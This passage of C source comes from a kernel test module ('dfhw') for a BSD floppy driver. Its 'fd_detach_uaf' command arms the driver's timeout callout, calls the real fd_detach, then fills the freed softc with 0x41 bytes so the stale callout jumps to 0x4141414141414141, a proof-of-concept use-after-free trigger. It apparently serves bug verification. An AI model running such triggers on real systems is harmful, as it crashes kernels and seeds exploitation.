			    fd_pio_cap[150], fd_pio_cap[151], fd_pio_cap[152],
			    fd_pio_cap[153], fd_pio_cap[154], fd_pio_cap[155],
			    fd_pio_cap[156], fd_pio_cap[157], fd_pio_cap[158],
			    fd_pio_cap[159], fd_pio_cap[160], fd_pio_cap[161],
			    fd_pio_cap[162], fd_pio_cap[163], fd_pio_cap[164],
			    fd_pio_cap[165], fd_pio_cap[166], fd_pio_cap[167],
			    fd_pio_cap[168], fd_pio_cap[169], fd_pio_cap[170],
			    fd_pio_cap[171], fd_pio_cap[172], fd_pio_cap[173],
			    fd_pio_cap[174], fd_pio_cap[175]);
		}
		relpbuf(bp, NULL);
		kfree(fi, M_DFHW);
	} else if (strcmp(cmd, "fd_detach_uaf") == 0) {
		uint8_t *mem;
		struct fd_data *fd;
		struct fdc_data *fdc;

		fd = device_get_softc(dffd_dev);
		memset(fd, 0, sizeof(*fd));
		fd->fdu = 0;
		fdc = rig_fdc = kmalloc(sizeof(struct fdc_data), M_DFHW,
		    M_WAITOK | M_ZERO);
		rig_fd = fd;
		fd->fdc = fdc;
		fdc->fd = fd;
		callout_init(&fd->toffhandle);
		callout_init(&fd->tohandle);
		callout_init(&fd->motor);
		disk_create(fd->fdu, &fd->disk, &fd_ops);
		devstat_add_entry(&fd->device_stats, "fd", 0, 512,
		    DEVSTAT_NO_ORDERED_TAGS,
		    DEVSTAT_TYPE_FLOPPY | DEVSTAT_TYPE_IF_OTHER,
		    DEVSTAT_PRIORITY_FD);

		/* arm tohandle exactly as fdstate() does (fd.c:1980) */
		callout_reset(&fd->tohandle, 2, fd_iotimeout_prod, fdc);

		kprintf("dfhw: tohandle armed (2 ticks); calling PRODUCTION "
		    "fd_detach ...\n");
		fd_detach_prod(dffd_dev);
		kprintf("dfhw: PRODUCTION fd_detach returned; tohandle "
		    "%s; freeing the softc now (as detach teardown does) "
		    "and canary-filling the chunk\n",
		    callout_pending(&fd->tohandle) ? "STILL ARMED" :
		    "stopped");

		/*
		 * The rig device softc is owned by devclass, so emulate
		 * the free with an equivalent same-size allocation that
		 * the slab layer hands back at the same address, then
		 * canary it.  fd's tohandle lives inside the softc.
		 */
		mem = (uint8_t *)fd;
		kprintf("dfhw: overwriting softc %p with 0x41 canary "
		    "(emulates freed+reused chunk); stale callout fires "
		    "within 2 ticks: expect jump to 0x4141414141414141 "
		    "= callout-after-free\n", mem);
		memset(mem, 0x41, sizeof(struct fd_data));
	}
	return (0);
}

static int
dfhw_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		dfhw_go_oid = SYSCTL_ADD_PROC(NULL,
		    SYSCTL_STATIC_CHILDREN(_kern),
		    OID_AUTO, "dfhwgo", CTLTYPE_STRING | CTLFLAG_RW, 0, 0,
		    dfhw_go, "A", "rig control");
		/* keep the verbatim fd driver_t structs referenced */
		fdc_driver.methods++; fdc_driver.methods--;
		fd_driver.methods++; fd_driver.methods--;
		dfhtis_dev = make_dev(&dfhtis_ops, 0, UID_ROOT, GID_WHEEL,
		    0600, "dfhtis0");
		dfhtis_dev->si_drv1 = &rig_tis;
		dfhleg_dev = make_dev(&dfhleg_ops, 0, UID_ROOT, GID_WHEEL,
		    0600, "dfhleg0");
		dfhleg_dev->si_drv1 = &rig_leg;
		{
			devclass_t dc = devclass_find("nexus");
			device_t nexus;
			if (dc && (nexus = devclass_get_device(dc, 0))) {
				dfhb_dev = BUS_ADD_CHILD(nexus, nexus, 100,
				    "dfhb", -1);
				kprintf("dfhw: dfhb child=%p\n", dfhb_dev);
				if (dfhb_dev) {
					int pr = device_probe_and_attach(dfhb_dev);
					kprintf("dfhw: probe_and_attach=%d\n", pr);
				}
			}
		}
		kprintf("dfhw: loaded (dfhtis0, dfhleg0 ready)\n");
		return (0);
	case MOD_UNLOAD:
		if (dfhw_go_oid) {
			sysctl_remove_oid(dfhw_go_oid, 1, 0);
			dfhw_go_oid = NULL;
		}
		destroy_dev(dfhtis_dev);
		destroy_dev(dfhleg_dev);
		if (dfhb_dev) {
			device_delete_child(device_get_parent(dfhb_dev),
			    dfhb_dev);
			dfhb_dev = NULL;
		}
		return (0);
	}
	return (EOPNOTSUPP);
}

static moduledata_t dfhw_mod = { "dfhw", dfhw_load, 0 };
DECLARE_MODULE(dfhw, dfhw_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
